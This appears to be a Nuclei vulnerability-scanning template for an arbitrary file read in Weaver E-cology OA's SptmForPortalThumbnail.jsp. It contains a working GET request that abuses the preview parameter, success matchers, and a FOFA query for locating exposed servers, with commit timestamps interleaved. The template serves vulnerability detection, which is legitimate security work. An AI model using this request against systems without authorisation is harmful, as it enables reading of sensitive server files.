2023-09-13 11:22:00 +00:00
id : weaver-sptmforportalthumbnail-lfi
info :
name : OA E-Weaver SptmForPortalThumbnail - Arbitrary File Read
author : SleepingBag945
severity : high
description : |
The controllable preview parameters of SptmForPortalThumbnail.jsp are not filtered and are directly spliced to the web root directory for file downloading.
reference :
- http://124.223.89.192/archives/e-cology8-14
- https://github.com/GREENHAT7/pxplan/blob/main/xray_pocs/yaml-poc-weaver-weaver_e_cology_oa-readfile-CT-479157.yml
2024-09-10 09:08:16 +00:00
classification :
cpe : cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
2023-09-13 11:22:00 +00:00
metadata :
2023-10-14 11:27:55 +00:00
verified : true
2023-09-13 11:22:00 +00:00
max-request : 1
2024-09-10 08:22:50 +00:00
vendor : weaver
2024-09-10 09:08:16 +00:00
product : e-cology
fofa-query : app="泛微-E-Weaver"
2023-09-13 11:22:00 +00:00
tags : weaver,e-cology,oa,lfi
http :
- method : GET
path :
- "{{BaseURL}}/portal/SptmForPortalThumbnail.jsp?preview=portal/SptmForPortalThumbnail.jsp"
matchers-condition : and
matchers :
- type : word
part : body
words :
- "weaver.general.BaseBean"
- "getServletConfig"
condition : and
- type : word
part : header
words :
- "image/png"
- type : status
status :
2023-10-14 11:27:55 +00:00
- 200
2024-09-12 05:14:01 +00:00
# digest: 4b0a00483046022100e08dc823829427807716b3e045dacba507758dd87a494f1424c09da2851223f3022100ab0e023647f74346aed0b476dd794ea86d883e554176c865e36378ae394a0244:922c64590222798bb761d5b6d8e72950
